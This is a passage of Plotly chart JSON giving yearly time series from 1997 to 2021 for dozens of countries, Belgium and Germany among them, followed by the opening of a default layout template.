21.23, - 36.49, - 37.86, - 36.31, - 121.72, - 55.27, - 53.34, - 48.16, - 35.73, - 40.16, - 47.58, - 55.71, - 55.77, - 62.3, - 54.44 - ] - }, - { - "mode": "lines", - "name": "BELGIUM", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1215.31, - 1287.88, - 1367.65, - 1470.56, - 1390.62, - 1661.84, - 1805.72, - 2509.71, - 2871.23, - 3478.18, - 4207.08, - 4480.32, - 3759.26, - 5784.38, - 7160.76, - 5507.3, - 6377.32, - 5519.47, - 5027.61, - 5656.89, - 6206.88, - 6729.93, - 5809.88, - 5235.59, - 7082.32 - ] - }, - { - "mode": "lines", - "name": "BELIZE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 0.06, - 0.43, - 0.52, - 0.26, - 0.66, - 2.75, - 1, - 2.67, - 1.56, - 6.13, - 2.89, - 2.48, - 14.3, - 26.1, - 23.56, - 22.46, - 24.49, - 14.51, - 15.23, - 13.48, - 16.98, - 14.27, - 9.43, - 9.82 - ] - }, - { - "mode": "lines", - "name": "BENIN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 20.67, - 27.14, - 28.36, - 45.14, - 55.42, - 64.35, - 52.71, - 47.12, - 96.62, - 151.41, - 276.33, - 204.39, - 221.75, - 263.66, - 654.69, - 479.13, - 763.98, - 497.95, - 427.3, - 447.89, - 479.72, - 426.9, - 326.62, - 555.2, - 446.5 - ] - }, - { - "mode": "lines", - "name": "BERMUDA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.64, - 0.84, - 0.69, - 0.54, - 0.41, - 0.27, - 0.54, - 0.63, - 0.33, - 0.74, - 1.25, - 0.75, - 0.83, - 0.9, - 1.02, - 1.35, - 2.59, - 2.73, - 2.59, - 4.2, - 3.12, - 3.15, - 2.48, - 4.5, - 4.17 - ] - }, - { - "mode": "lines", - "name": "BHUTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 13.33, - 9.56, - 7.57, - 1.08, - 7.6, - 39.05, - 89.49, - 84.58, - 99.17, - 57.66, - 86.74, - 111.15, - 118.86, - 176.03, - 229.86, - 233.22, - 355.6, - 333.94, - 468.95, - 509.28, - 546.12, - 657.33, - 738.6, - 701.02, - 657.93 - ] - }, - { - "mode": "lines", - "name": "BOLIVIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.7, - 0.98, - 0.83, - 1.98, - 1.19, - 2.13, - 3.7, - 3.96, - 6.55, - 5.43, - 7.6, - 9.71, - 9.77, - 15.71, - 24.84, - 57.39, - 53.19, - 70.84, - 74.43, - 79.52, - 105.19, - 104.71, - 113.46, - 94.33, - 96.61 - ] - }, - { - "mode": "lines", - "name": "BOSNIA-HRZGOVIN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.49, - 0.38, - 0.28, - 0.18, - 1.33, - 2.33, - 3.32, - 2.74, - 1.33, - 3.66, - 5.05, - 5.43, - 2.71, - 3.2, - 5.79, - 6.91, - 11.57, - 17.88, - 19.7, - 13.1, - 15.37, - 17.08, - 15.32, - 15.09, - 12.29 - ] - }, - { - "mode": "lines", - "name": "BOTSWANA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.92, - 2.19, - 2.11, - 5.56, - 4.57, - 4.09, - 6.7, - 7.91, - 10.78, - 10.85, - 16.98, - 25.54, - 22.2, - 33.59, - 50.44, - 51.48, - 54.44, - 44.46, - 52.38, - 77.12, - 108.58, - 178.31, - 178.74, - 172.69, - 200.38 - ] - }, - { - "mode": "lines", - "name": "ECUADOR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 4.36, - 4.6, - 2.26, - 9.43, - 11.04, - 11.95, - 14.13, - 22.71, - 26.2, - 52.15, - 55.27, - 125.23, - 89.75, - 121.46, - 231.55, - 263.55, - 290.4, - 225.04, - 153.2, - 197.73, - 279.8, - 297.96, - 253, - 207.89, - 226.13 - ] - }, - { - "mode": "lines", - "name": "CROATIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 5.94, - 5.54, - 5.29, - 4.17, - 5.34, - 10.02, - 16.68, - 22.85, - 29.01, - 54.75, - 72.52, - 85.48, - 89.68, - 97.69, - 114.64, - 133.96, - 139.14, - 176.39, - 112.44, - 124.13, - 168.68, - 153.79, - 146.97, - 141.91, - 266.81 - ] - }, - { - "mode": "lines", - "name": "ZIMBABWE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 23.93, - 23.59, - 18.47, - 15.06, - 12.5, - 15.83, - 23.51, - 23.45, - 23.99, - 31.78, - 31.97, - 58.99, - 48.7, - 113.15, - 129.32, - 153.19, - 158.06, - 223.96, - 205.09, - 109.08, - 163.54, - 181.72, - 161.13, - 175.72, - 148.89 - ] - }, - { - "mode": "lines", - "name": "FRANCE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 759.15, - 829.7, - 897.34, - 1020.01, - 945, - 1074.09, - 1280.88, - 1680.94, - 2079.59, - 2103.26, - 2599.64, - 3020.86, - 3819.83, - 5209.57, - 4558.11, - 4986.03, - 5108.29, - 4956.66, - 4633.4, - 5250.05, - 4900.27, - 5232.57, - 5097.81, - 4782.18, - 4413.38 - ] - }, - { - "mode": "lines", - "name": "HAITI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.03, - 2.7, - 3.13, - 5.76, - 6.89, - 10.89, - 8.56, - 10.18, - 16.33, - 21.73, - 26.75, - 44.37, - 33.06, - 60.53, - 48.3, - 63.69, - 59.21, - 85.45, - 62.27, - 71.44, - 94.01, - 79.35, - 65.51, - 107.63, - 69.13 - ] - }, - { - "mode": "lines", - "name": "FR POLYNESIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.16, - 0.01, - 0.05, - 0.04, - 0.17, - 0.14, - 0.25, - 0.53, - 0.76, - 2.06, - 2.05, - 1.3, - 0.81, - 1.08, - 11.95, - 1.78, - 2.8, - 3.07, - 3.81, - 4.13, - 6.36, - 5.5, - 6.04, - 5.67, - 6.96 - ] - }, - { - "mode": "lines", - "name": "GUYANA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.19, - 2.27, - 2.4, - 5.09, - 2.11, - 3.52, - 4.77, - 6.86, - 11.15, - 13.22, - 13.63, - 12.18, - 16.3, - 16.04, - 21.53, - 21.94, - 24.19, - 24.41, - 21.87, - 20.07, - 26.03, - 29.66, - 25.21, - 35.69, - 49.6 - ] - }, - { - "mode": "lines", - "name": "GUINEA BISSAU", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.09, - 4.51, - 8.98, - 14.44, - 7.32, - 5.19, - 2.14, - 0.93, - 0.74, - 0.69, - 4.34, - 33.91, - 3.19, - 3.07, - 12.42, - 10.88, - 19.02, - 9.76, - 14.47, - 21.66, - 10.68, - 10.76, - 8.99, - 18.11, - 7.67 - ] - }, - { - "mode": "lines", - "name": "GUINEA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 6.38, - 6.5, - 9.5, - 13.36, - 24.65, - 34.36, - 35.12, - 51.31, - 52.26, - 79.76, - 130.3, - 78.52, - 79.35, - 96.4, - 131.94, - 206.07, - 203.42, - 283.81, - 278.4, - 354.95, - 377.94, - 404.84, - 354.82, - 501.77, - 437.34 - ] - }, - { - "mode": "lines", - "name": "GUATEMALA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 4.73, - 4.56, - 14.43, - 18.69, - 13.12, - 18.12, - 26.36, - 37.84, - 45.94, - 73.77, - 74.86, - 81.41, - 87.15, - 112.68, - 191.29, - 224.61, - 212.36, - 229.01, - 255.97, - 241.23, - 291.93, - 305.37, - 291.32, - 331.35, - 414.06 - ] - }, - { - "mode": "lines", - "name": "GUAM", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.08, - 0.1, - 0.15, - 0.3, - 0.62, - 0.35, - 0.98, - 0.38, - 0.35, - 2.71, - 0.58, - 0.54, - 0.58, - 1.84, - 1.93, - 1.01, - 0.28, - 0.41, - 0.38, - 0.49, - 0.88, - 0.66, - 0.91, - 0.74, - 1.38 - ] - }, - { - "mode": "lines", - "name": "GUADELOUPE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.63, - 0.47, - 1, - 1.2, - 0.78, - 1.43, - 1.31, - 1.36, - 1.12, - 1.71, - 1.55, - 1.52, - 3.58, - 6.21, - 7.09, - 6.58, - 6.53, - 4.17, - 2.87, - 4.39, - 5.35, - 3.42, - 7.8, - 2.66, - 2.25 - ] - }, - { - "mode": "lines", - "name": "GHANA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 49.05, - 62.81, - 61.95, - 58.88, - 68.41, - 105.64, - 182.67, - 183.08, - 200.82, - 465.18, - 795.12, - 537.85, - 390.52, - 579.77, - 800.35, - 744.12, - 831.48, - 680.39, - 623.73, - 681.03, - 635.78, - 717.33, - 617.42, - 862.5, - 835.11 - ] - }, - { - "mode": "lines", - "name": "GRENADA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 0.07, - 0.09, - 0.53, - 0.45, - 0.45, - 0.59, - 0.23, - 0.87, - 0.78, - 1.24, - 0.45, - 0.64, - 1.01, - 1.03, - 0.85, - 1.46, - 1.34, - 1.87, - 3.02, - 2.64, - 3.77, - 2.79, - 2.87, - 2.89 - ] - }, - { - "mode": "lines", - "name": "GABON", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.36, - 4.73, - 4.34, - 4.96, - 5.53, - 17.67, - 10.55, - 10.36, - 16.58, - 16.7, - 25.9, - 21.65, - 25.02, - 37.55, - 47, - 54.17, - 52.59, - 42.7, - 36.79, - 43.34, - 45.08, - 55.17, - 45.55, - 58.7, - 39.5 - ] - }, - { - "mode": "lines", - "name": "GAMBIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 15.31, - 15.39, - 15.96, - 15.4, - 13.55, - 14.06, - 13.66, - 14.89, - 16.8, - 27.7, - 30.24, - 30.45, - 36.99, - 41.7, - 64.21, - 55.56, - 85.13, - 73.53, - 59.54, - 62.38, - 120.23, - 156.61, - 132.33, - 129.59, - 109.95 - ] - }, - { - "mode": "lines", - "name": "GEORGIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.97, - 0.55, - 1.42, - 3.1, - 8.34, - 18.83, - 34.02, - 26.8, - 34.18, - 41.03, - 93.03, - 72.44, - 55.86, - 72.86, - 121.74, - 124.16, - 91.29, - 86.67, - 82.57, - 90.93, - 77.27, - 110.4, - 82.77, - 99.32, - 121.98 - ] - }, - { - "mode": "lines", - "name": "GREECE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 93.17, - 135.99, - 89.91, - 113.49, - 106.53, - 148.7, - 200.04, - 306.34, - 564.09, - 670.71, - 530.38, - 878.43, - 452.8, - 364.88, - 790.06, - 300.13, - 335.14, - 360.84, - 335.68, - 381.07, - 433.87, - 503.37, - 445.59, - 546.31, - 751.15 - ] - }, - { - "mode": "lines", - "name": "GIBRALTAR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.14, - 0.14, - 0.61, - 0.54, - 0.3, - 1.4, - 0.75, - 0.65, - 0.34, - 17.89, - 1.27, - 9.44, - 647.94, - 149.08, - 292.79, - 0.27, - 97.61, - 637.83, - 1182.88, - 1286.88, - 290.68, - 575.13, - 629.14, - 203.38, - 255.88 - ] - }, - { - "mode": "lines", - "name": "GERMANY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1921.1, - 1851.94, - 1738.39, - 1907.57, - 1788.36, - 2106.68, - 2544.55, - 2826.25, - 3586.12, - 3984.81, - 5121.53, - 6388.54, - 5412.89, - 6751.18, - 7942.79, - 7246.2, - 7515.81, - 7537.34, - 7092.87, - 7181.61, - 8687.8, - 8902.43, - 8290.9, - 8124.93, - 7021.6 - ] - }, - { - "mode": "lines", - "name": "FR GUIANA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.06, - 0.88, - 2.28, - 2.46, - 3.76, - 4.92, - 5.84, - 0.08, - 0.05, - 0.08, - 2.21, - 36.32, - 2.28, - 3.6, - 1.62, - 3.3, - 36.68, - 59.04, - 1.17, - 1.47, - 2.18, - 1.9, - 0.98, - 1.78, - 1.52 - ] - }, - { - "mode": "lines", - "name": "HONDURAS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.62, - 3.85, - 12.72, - 15.29, - 11.62, - 21.65, - 11.99, - 21.31, - 34.6, - 113.21, - 95.31, - 69.97, - 45.53, - 63.07, - 91.66, - 109.99, - 107.9, - 187.56, - 155.05, - 134.97, - 146.17, - 166.72, - 185.34, - 163.38, - 237.55 - ] - }, - { - "mode": "lines", - "name": "FINLAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 58.15, - 76.62, - 57.93, - 58.31, - 69.75, - 71.14, - 111.27, - 143.54, - 204.69, - 194.36, - 239.74, - 264.89, - 208.36, - 254.92, - 314.34, - 317.27, - 415.42, - 330.18, - 248.48, - 269.74, - 282.55, - 256.12, - 268.63, - 284.36, - 255.75 - ] - }, - { - "mode": "lines", - "name": "HONG KONG", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1928.76, - 1880.57, - 2510.88, - 2640.86, - 2366.36, - 2613.33, - 3261.8, - 3691.82, - 4471.32, - 4685.16, - 6312.96, - 6655, - 7887.81, - 10320.26, - 12931.9, - 12279.2, - 12731.74, - 13599.88, - 12092.28, - 14047.24, - 14690.27, - 13001.99, - 10967.12, - 10162.4, - 8429.2 - ] - }, - { - "mode": "lines", - "name": "JAPAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1892.07, - 1652, - 1685.37, - 1794.48, - 1510.44, - 1864.03, - 1709.29, - 2127.91, - 2481.26, - 2868.12, - 3858.48, - 3025.7, - 3629.54, - 5091.24, - 6328.54, - 6100.06, - 6814.07, - 5385.57, - 4662.85, - 3845.73, - 4734.22, - 4861.73, - 4520.25, - 4434.59, - 4654.12 - ] - }, - { - "mode": "lines", - "name": "JAMAICA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.35, - 1.78, - 3.91, - 9.15, - 5.08, - 10.57, - 9.06, - 13.43, - 25.86, - 20.19, - 24.45, - 22.49, - 20.85, - 22.34, - 26.66, - 29.7, - 36.22, - 37.8, - 40.21, - 43.01, - 52.24, - 55.42, - 56.76, - 64.06, - 57.83 - ] - }, - { - "mode": "lines", - "name": "EQUTL GUINEA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.05, - 0.06, - 0.02, - 0.27, - 0.44, - 0.11, - 0.84, - 3.84, - 6.44, - 4.77, - 11.07, - 6.42, - 7.66, - 11.42, - 17.15, - 21.31, - 17.24, - 15.01, - 17.53, - 11.24, - 10.77, - 11.89, - 10.92, - 14.19, - 9.92 - ] - }, - { - "mode": "lines", - "name": "ITALY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1113.84, - 1054.99, - 1119.75, - 1308.75, - 1206.53, - 1357.08, - 1729.4, - 2285.99, - 2519.04, - 3584.65, - 3914.02, - 3824.58, - 3400.25, - 4551.58, - 4883.09, - 4372.51, - 5272.75, - 5092.31, - 4217.73, - 4902.18, - 5709.85, - 5593.42, - 4970.81, - 4735.74, - 6002.78 - ] - }, - { - "mode": "lines", - "name": "ISRAEL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 353.24, - 355.21, - 499.7, - 472.29, - 428.02, - 634.54, - 723.98, - 1005.76, - 1201.5, - 1322.45, - 1604.36, - 1458.55, - 1968.59, - 2919.78, - 4040.52, - 3739.71, - 3746.94, - 3289.85, - 2821.18, - 3087.16, - 3364.05, - 3717.98, - 3363.1, - 2701.49, - 3569.38 - ] - }, - { - "mode": "lines", - "name": "ESTONIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.89, - 5.26, - 6.5, - 3.3, - 3.88, - 4.31, - 5.98, - 10.24, - 13.86, - 28.24, - 68.63, - 49.31, - 28.92, - 52.91, - 116.48, - 91.88, - 79.13, - 68.09, - 63.68, - 97.5, - 80.33, - 64.32, - 65.44, - 51.83, - 45.9 - ] - }, - { - "mode": "lines", - "name": "IRELAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 66.86, - 67.43, - 80.15, - 103.18, - 102.38, - 135.81, - 150.93, - 211.99, - 279.77, - 226.08, - 314.47, - 449.77, - 260.57, - 270.34, - 380.26, - 386.69, - 414.08, - 759.47, - 525.79, - 485.28, - 536.08, - 530.56, - 533.69, - 563.22, - 499.66 - ] - }, - { - "mode": "lines", - "name": "ETHIOPIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 67.51, - 64.75, - 57.33, - 66.57, - 90.83, - 61.97, - 80.43, - 55.51, - 74.74, - 115.94, - 198.32, - 247.68, - 253.67, - 273.66, - 464.17, - 748.82, - 816.92, - 783.13, - 793.62, - 773.5, - 683.88, - 766.03, - 798.31, - 684.32, - 537.99 - ] - }, - { - "mode": "lines", - "name": "IRAQ", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 11.2, - 36.3, - 49.38, - 84.02, - 206.79, - 214.88, - 75.17, - 131.19, - 155.94, - 203.99, - 272.1, - 437.43, - 477.13, - 678.14, - 763.97, - 1278.13, - 918.03, - 829.32, - 1004.39, - 1111.45, - 1462.23, - 1788.66, - 1878.17, - 1498.99, - 1625.4 - ] - }, - { - "mode": "lines", - "name": "IRAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 171.66, - 159.12, - 152.05, - 226.97, - 253.03, - 654.73, - 918.11, - 1231.39, - 1188.35, - 1446.48, - 1943.92, - 2534.01, - 1853.17, - 2492.9, - 2411.33, - 3351.07, - 4971.35, - 4175.06, - 2781.51, - 2379.61, - 2652.37, - 3511.01, - 3373.62, - 1774.69, - 941.25 - ] - }, - { - "mode": "lines", - "name": "INDONESIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 437.27, - 185.27, - 325.58, - 399.75, - 533.71, - 826.06, - 1127.2, - 1332.6, - 1380.2, - 2032.96, - 2164.17, - 2559.82, - 3063.36, - 5700.78, - 6677.99, - 5331.3, - 4850.2, - 4043.32, - 2819.49, - 3488.12, - 3963.77, - 5275.6, - 4129.33, - 5026.21, - 6035.04 - ] - }, - { - "mode": "lines", - "name": "FAROE IS.", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.35, - 0, - 0.1, - 0.01, - 0.04, - 0.06, - 0.5, - 0.14, - 0.22, - 0.33, - 0.24, - 0.06, - 0.14, - 0.75, - 0.86, - 1.46, - 3.08, - 2.62, - 1.75, - 0.59, - 0.3, - 2.96, - 0.91, - 0.27, - 0.2 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", 